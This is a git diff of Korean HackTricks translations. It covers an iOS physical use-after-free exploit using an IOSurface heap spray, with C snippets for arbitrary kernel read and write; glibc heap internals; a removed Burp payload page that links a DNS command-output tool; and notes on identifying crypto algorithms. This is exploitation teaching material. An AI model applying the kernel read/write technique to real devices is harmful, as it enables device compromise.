4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다. -### Physical use-after-free +### 물리적 사용 후 해제 -**물리적 use-after-free** (UAF)는 다음과 같은 경우에 발생합니다: +**물리적 사용 후 해제** (UAF)는 다음과 같은 경우에 발생합니다: 1. 프로세스가 **읽기 및 쓰기 가능**한 메모리를 **할당**합니다. 2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다. -3. 프로세스가 메모리를 **해제**(프리)합니다. -4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 제거하는 것을 **잊어버립니다**, 비록 해당 물리 메모리를 프리로 표시하더라도. +3. 프로세스가 메모리를 **해제**합니다. +4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 해제된 것으로 표시하더라도. 5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다. 6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다. 이는 프로세스가 **커널 메모리의 페이지**에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 **커널 메모리**를 **조작**할 수 있는 가능성을 제공합니다. -### Exploitation Strategy: Heap Spray +### 익스플로잇 전략: 힙 스프레이 -공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **heap spray**라는 기술을 사용합니다: +공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **힙 스프레이**라는 기술을 사용합니다: -1. 공격자는 커널 메모리에 **많은 수의 IOSurface 객체**를 생성합니다. +1. 공격자는 커널 메모리에 **많은 IOSurface 객체**를 생성합니다. 2. 각 IOSurface 객체는 그 필드 중 하나에 **매직 값**을 포함하여 쉽게 식별할 수 있게 합니다. 3. 그들은 **해제된 페이지**를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다. 4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다. 이와 관련된 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다. -### Step-by-Step Heap Spray Process +### 단계별 힙 스프레이 프로세스 -1. **Spray IOSurface Objects**: 공격자는 특별한 식별자("매직 값")로 많은 IOSurface 객체를 생성합니다. -2. **Scan Freed Pages**: 그들은 해제된 페이지에 할당된 객체가 있는지 확인합니다. -3. **Read/Write Kernel Memory**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해: -* 하나의 필드를 사용하여 커널 메모리에서 **임의의 32비트 값**을 **읽을 수** 있습니다. -* 다른 필드를 사용하여 **64비트 값을 쓸 수** 있으며, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다. +1. **IOSurface 객체 스프레이**: 공격자는 특별한 식별자("매직 값")를 가진 많은 IOSurface 객체를 생성합니다. +2. **해제된 페이지 스캔**: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다. +3. **커널 메모리 읽기/쓰기**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해: +* 한 필드를 사용하여 **커널 메모리의 32비트 값을 읽습니다**. +* 다른 필드를 사용하여 **64비트 값을 씁니다**, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다. IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다: ```c @@ -104,7 +106,7 @@ io_connect_t id = result.surface_id; } } ``` -하나의 해제된 물리 페이지에서 **`IOSurface`** 객체를 검색합니다: +해제된 물리 페이지에서 **`IOSurface`** 객체를 검색합니다: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -138,7 +140,7 @@ free(surfaceIDs); return 0; } ``` -### 커널 읽기/쓰기 달성하기: IOSurface +### 커널 읽기/쓰기 달성하기 with IOSurface 커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 위해 **임의의 커널 읽기 및 쓰기 작업**에 사용할 수 있습니다. @@ -155,7 +157,7 @@ IOSurface 객체에는 두 가지 중요한 필드가 있습니다: 읽기를 수행하려면: -1. **사용 카운트 포인터**를 덮어써서 대상 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키게 합니다. +1. **사용 카운트 포인터**를 목표 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키도록 덮어씁니다. 2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -200,4 +202,7 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾습니다. 4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 합니다. -이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다. +이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가적인 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 35db98591..a254ff1b8 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,10 +1,12 @@ # Libc Heap +{{#include /banners/hacktricks-training.md}} + ## Heap Basics 힙은 기본적으로 프로그램이 **`malloc`**, `calloc`와 같은 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 장소입니다. 또한, 이 메모리가 더 이상 필요하지 않을 때는 **`free`** 함수를 호출하여 사용 가능하게 됩니다. -보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다 ( `[heap]` 섹션을 확인하세요): +보시다시피, 이는 바이너리가 메모리에 로드된 직후의 위치입니다 ( `[heap]` 섹션을 확인하세요):
@@ -16,7 +18,7 @@ - 프로그램은 특정 양의 메모리를 요청하는 것으로 시작합니다. - 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다. -- 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지가 청크 목록에 추가될 수 있음을 의미할 수 있습니다. +- 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다. - 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다. - 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다. - 모든 것이 실패하면, `malloc`은 null을 반환합니다. @@ -25,32 +27,32 @@ ## Arenas -**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 이어질 수 있는 **경쟁 조건**을 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다. +**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 인한 크래시를 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다. -이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 여러 스레드가 서로 간섭하지 않고 힙 작업을 수행할 수 있도록 합니다. 단, 서로 다른 아레나를 사용할 경우에만 가능합니다. +이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 각 아레나는 **별도의 힙**으로 작용하며 **자신의** 데이터 **구조**와 **뮤텍스**를 가지고 있어, 서로 다른 아레나를 사용하는 한 여러 스레드가 힙 작업을 수행할 수 있습니다. -기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 **경쟁을 줄이기 위해** 이들에게 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이로 인해 잠재적인 경쟁이 발생할 수 있습니다. +기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 **2차 아레나**를 할당하여 경쟁을 줄입니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다. -메인 아레나와 달리, `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 시뮬레이션하고 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. +메인 아레나와 달리, `brk` 시스템 호출을 사용하여 확장되는 메인 아레나와는 달리, 2차 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. ### Subheaps -서브힙은 멀티스레드 애플리케이션에서 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다: +서브힙은 멀티스레드 애플리케이션에서 2차 아레나의 메모리 예비 공간 역할을 하여, 메인 힙과 별도로 자신의 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다: 1. **초기 힙 vs. 서브힙**: - 초기 힙은 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다. -- 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다. +- 서브힙은 2차 아레나에서 사용되며, 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다. 2. **`mmap`을 통한 메모리 예약**: - 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다. - 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다. 3. **`mprotect`를 통한 점진적 확장**: - 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다. -- 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다. +- 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있게 합니다. - 서브힙이 모두 소진되면, 힙 관리자는 새 서브힙을 생성하여 할당을 계속합니다. ### heap_info -이 구조체는 힙의 관련 정보를 할당합니다. 또한, 추가 할당 후 힙 메모리가 연속적이지 않을 수 있으며, 이 구조체는 그 정보를 저장합니다. +이 구조체는 힙의 관련 정보를 할당합니다. 또한, 힙 메모리는 추가 할당 후 연속적이지 않을 수 있으며, 이 구조체는 그 정보를 저장합니다. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 @@ -70,13 +72,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc_state -**각 힙** (주 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가집니다.**\ +**각 힙** (주 아레나 또는 다른 스레드 아레나)에는 **`malloc_state` 구조체가 있습니다.**\ **주 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\ -스레드의 힙에 있는 **`malloc_state`** 구조체는 **자신의 스레드 "힙" 내부에** 위치합니다. +스레드의 힙에 있는 **`malloc_state`** 구조체는 **자신의 스레드 "힙"** 내부에 위치합니다. 이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조): -- `__libc_lock_define (, mutex);`는 이 힙의 구조체에 한 번에 1개의 스레드만 접근하도록 보장하기 위해 존재합니다. +- `__libc_lock_define (, mutex);`는 이 힙의 구조체에 한 번에 1개의 스레드만 접근할 수 있도록 보장하기 위해 존재합니다. - 플래그: - ```c @@ -88,10 +90,10 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -- `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 크고, 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다). -- 따라서 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak할 수 있다면** libc의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. +- `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 큰 및 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다). +- 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak할 수 있다면** libc의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. - 구조체 `struct malloc_state *next;` 및 `struct malloc_state *next_free;`는 아레나의 연결 리스트입니다. -- `top` 청크는 마지막 "청크"로, 기본적으로 **모든 힙 남은 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되며 더 많은 공간을 요청해야 합니다. +- `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 힙 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되며 더 많은 공간을 요청해야 합니다. - `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고 남은 부분의 포인터가 여기에 배치됩니다. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -157,17 +159,17 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -앞서 언급했듯이, 이러한 청크는 메타데이터를 포함하고 있으며, 이는 이 이미지에서 잘 나타납니다: +앞서 언급했듯이, 이러한 청크는 메타데이터를 포함하고 있으며, 이는 이 이미지에서 잘 나타나 있습니다:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

메타데이터는 일반적으로 0x08B로, 마지막 3비트를 사용하여 현재 청크 크기를 나타냅니다: -- `A`: 1이면 서브 힙에서 온 것이고, 0이면 메인 아레나에 있습니다. +- `A`: 1이면 서브힙에서 온 것이고, 0이면 메인 아레나에 있습니다. - `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다. - `P`: 1이면 이전 청크가 사용 중입니다. -그 다음은 사용자 데이터 공간이며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해). +그 다음, 사용자 데이터 공간이 있으며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해). 또한, 사용 가능할 때 사용자 데이터는 다음과 같은 데이터를 포함하는 데 사용됩니다: @@ -178,12 +180,12 @@ typedef struct malloc_chunk* mchunkptr;

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] -> 이렇게 리스트를 연결하는 방식이 모든 청크가 등록되는 배열이 필요하지 않도록 합니다. +> [!TIP] +> 이렇게 리스트를 연결하는 방식은 모든 청크가 등록되는 배열이 필요 없음을 방지합니다. ### 청크 포인터 -malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤). 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\ +malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤에), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\ 이러한 변환을 위해 다음 함수들이 사용됩니다: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -202,7 +204,7 @@ malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩 #define MINSIZE \ (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` -### 정렬 및 최소 크기 +### Alignment & min size 청크에 대한 포인터와 `0x0f`는 0이어야 합니다. ```c @@ -263,7 +265,7 @@ return request2size (req); ### 청크 데이터 가져오기 및 메타데이터 변경 -이 함수들은 청크에 대한 포인터를 받아 메타데이터를 확인/설정하는 데 유용합니다: +이 함수들은 청크에 대한 포인터를 받아 작동하며 메타데이터를 확인/설정하는 데 유용합니다: - 청크 플래그 확인 ```c @@ -352,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- 헤드 및 푸터 설정 (청크 번호 사용 시) +- 헤드와 푸터 설정 (청크 번호 사용 시) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -396,7 +398,7 @@ return ptr; ### 빠른 힙 예제 -[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)에서 가져온 빠른 힙 예제이지만 arm64에서: +[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)에서 가져온 빠른 힙 예제지만 arm64에서: ```c #include #include @@ -409,13 +411,13 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -메인 함수의 끝에 중단점을 설정하고 정보가 저장된 위치를 찾아봅시다: +메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 찾아봅시다:
-문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 확인할 수 있습니다 (이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`이 **이전 청크가 사용되지 않음** (길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다. +문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 볼 수 있습니다(이는 `x0` 내 malloc이 응답으로 제공한 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`이 **이전 청크가 사용되지 않음**(길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다. -예약된 추가 공간 (0x21-0x10=0x11)은 **추가된 헤더** (0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다. +예약된 추가 공간(0x21-0x10=0x11)은 **추가 헤더**(0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() @@ -483,7 +485,7 @@ return 0; ## Bins & Memory Allocations/Frees -Bins가 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: +bins이 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: {{#ref}} bins-and-memory-allocations.md @@ -491,7 +493,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -힙과 관련된 함수는 작업을 수행하기 전에 특정 검사를 수행하여 힙이 손상되지 않았는지 확인합니다: +힙과 관련된 함수는 힙이 손상되지 않았는지 확인하기 위해 작업을 수행하기 전에 특정 검사를 수행합니다: {{#ref}} heap-memory-functions/heap-functions-security-checks.md @@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md deleted file mode 100644 index 8036c7414..000000000 --- a/src/burp-suite.md +++ /dev/null @@ -1,19 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# 기본 페이로드 - -- **간단한 목록:** 각 줄에 항목이 포함된 목록 -- **런타임 파일:** 런타임에 읽는 목록(메모리에 로드되지 않음). 큰 목록을 지원하기 위해. -- **대소문자 수정:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자 대문자, 나머지는 소문자-, 고유명사 - 첫 글자 대문자, 나머지는 그대로-). -- **숫자:** Z 단계 또는 무작위로 X에서 Y까지 숫자 생성. -- **브루트 포스:** 문자 집합, 최소 및 최대 길이. - -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : DNS 요청을 통해 burpcollab에 명령을 실행하고 출력을 가져오는 페이로드. - -{{#ref}} -https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e -{{#endref}} - -[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index 2f8e6d9cf..2573a45e7 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,14 +1,12 @@ -# 암호화/압축 알고리즘 - -## 암호화/압축 알고리즘 +# Cryptographic/Compression Algorithms {{#include ../../banners/hacktricks-training.md}} -## 알고리즘 식별 +## Identifying Algorithms -코드가 **오른쪽 및 왼쪽 시프트, XOR 및 여러 산술 연산**을 사용하는 경우, 이는 **암호화 알고리즘**의 구현일 가능성이 높습니다. 여기서는 **각 단계를 역추적할 필요 없이 사용된 알고리즘을 식별하는 방법**을 보여줍니다. +코드가 **shift rights and lefts, xors 및 여러 산술 연산**을 사용하는 경우, 이는 **암호화 알고리즘**의 구현일 가능성이 높습니다. 여기서는 **각 단계를 역추적할 필요 없이 사용된 알고리즘을 식별하는 방법**을 보여줍니다. -### API 함수 +### API functions **CryptDeriveKey** @@ -35,7 +33,7 @@ \ 가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### 코드 상수 +### Code constants 때때로 알고리즘을 식별하는 것이 특별하고 고유한 값을 사용해야 하기 때문에 매우 쉽습니다. @@ -48,95 +46,95 @@ 따라서 디컴파일된 함수가 **sha256 계산기**라고 가정할 수 있습니다.\ 다른 상수를 검색하면 (아마도) 같은 결과를 얻을 수 있습니다. -### 데이터 정보 +### data info 코드에 중요한 상수가 없으면 **.data 섹션에서 정보를 로드하고 있을 수 있습니다**.\ -해당 데이터에 접근하여 **첫 번째 DWORD를 그룹화**하고 이전 섹션에서 했던 것처럼 구글에서 검색할 수 있습니다: +해당 데이터에 접근하여 **첫 번째 dword를 그룹화**하고 이전 섹션에서 했던 것처럼 구글에서 검색할 수 있습니다: ![](<../../images/image (531).png>) 이 경우 **0xA56363C6**를 검색하면 **AES 알고리즘의 테이블**과 관련이 있음을 알 수 있습니다. -## RC4 **(대칭 암호)** +## RC4 **(Symmetric Crypt)** -### 특징 +### Characteristics 3개의 주요 부분으로 구성됩니다: -- **초기화 단계/**: **0x00에서 0xFF까지의 값 테이블**을 생성합니다(총 256바이트, 0x100). 이 테이블은 일반적으로 **치환 상자**(또는 SBox)라고 불립니다. -- **스크램블링 단계**: 이전에 생성된 테이블을 **반복**하며(0x100 반복) 각 값을 **반무작위** 바이트로 수정합니다. 이 반무작위 바이트를 생성하기 위해 RC4 **키가 사용됩니다**. RC4 **키는 1바이트에서 256바이트 사이의 길이를 가질 수 있지만**, 일반적으로 5바이트 이상이 권장됩니다. 일반적으로 RC4 키는 16바이트 길이입니다. +- **초기화 단계/**: **0x00에서 0xFF까지의 값 테이블**을 생성합니다(총 256바이트, 0x100). 이 테이블은 일반적으로 **Substitution Box**(또는 SBox)라고 불립니다. +- **스크램블링 단계**: 이전에 생성된 테이블을 **반복(loop)**하며 각 값을 **반무작위** 바이트로 수정합니다. 이 반무작위 바이트를 생성하기 위해 RC4 **키가 사용됩니다**. RC4 **키**는 **1바이트에서 256바이트** 사이일 수 있지만, 일반적으로 5바이트 이상이 권장됩니다. 일반적으로 RC4 키는 16바이트입니다. - **XOR 단계**: 마지막으로 평문 또는 암호문은 **이전에 생성된 값과 XOR됩니다**. 암호화 및 복호화 함수는 동일합니다. 이를 위해 **생성된 256바이트를 필요에 따라 반복**합니다. 이는 일반적으로 디컴파일된 코드에서 **%256 (mod 256)**으로 인식됩니다. -> [!NOTE] -> **디스어셈블리/디컴파일된 코드에서 RC4를 식별하기 위해서는 0x100 크기의 2개의 루프(키 사용)와 그 후에 입력 데이터를 2개의 루프에서 생성된 256값과 XOR하는 것을 확인할 수 있습니다. 아마도 %256 (mod 256)을 사용할 것입니다.** +> [!TIP] +> **디스어셈블리/디컴파일된 코드에서 RC4를 식별하려면 0x100 크기의 2개의 루프(키 사용)와 입력 데이터를 이전 2개의 루프에서 생성된 256 값과 XOR하는 것을 확인하세요. 아마도 %256 (mod 256)을 사용할 것입니다.** -### **초기화 단계/치환 상자:** (카운터로 사용된 숫자 256과 256개의 각 위치에 0이 쓰여진 방식을 주목하세요) +### **Initialization stage/Substitution Box:** (카운터로 사용된 숫자 256과 256개의 문자 각각에 0이 어떻게 쓰여졌는지 주목하세요) ![](<../../images/image (584).png>) -### **스크램블링 단계:** +### **Scrambling Stage:** ![](<../../images/image (835).png>) -### **XOR 단계:** +### **XOR Stage:** ![](<../../images/image (904).png>) -## **AES (대칭 암호)** +## **AES (Symmetric Crypt)** -### **특징** +### **Characteristics** - **치환 상자 및 조회 테이블** 사용 -- **특정 조회 테이블 값**(상수)의 사용 덕분에 AES를 **구별할 수 있습니다**. _상수가 **이진 파일에 저장**되거나 _**동적으로 생성**될 수 있습니다._ +- **특정 조회 테이블 값**(상수)의 사용 덕분에 AES를 **구별할 수 있습니다**. _**상수**는 **이진 파일에 저장**되거나 _**동적으로 생성**될 수 있습니다._ - **암호화 키**는 **16으로 나누어 떨어져야** 하며(일반적으로 32B) 보통 **IV**는 16B가 사용됩니다. -### SBox 상수 +### SBox constants ![](<../../images/image (208).png>) -## Serpent **(대칭 암호)** +## Serpent **(Symmetric Crypt)** -### 특징 +### Characteristics -- 이를 사용하는 악성코드를 찾는 것은 드물지만 예시가 있습니다 (Ursnif) +- 이 알고리즘을 사용하는 악성 코드를 찾는 것은 드물지만 예시가 있습니다(Ursnif) - 길이에 따라 알고리즘이 Serpent인지 여부를 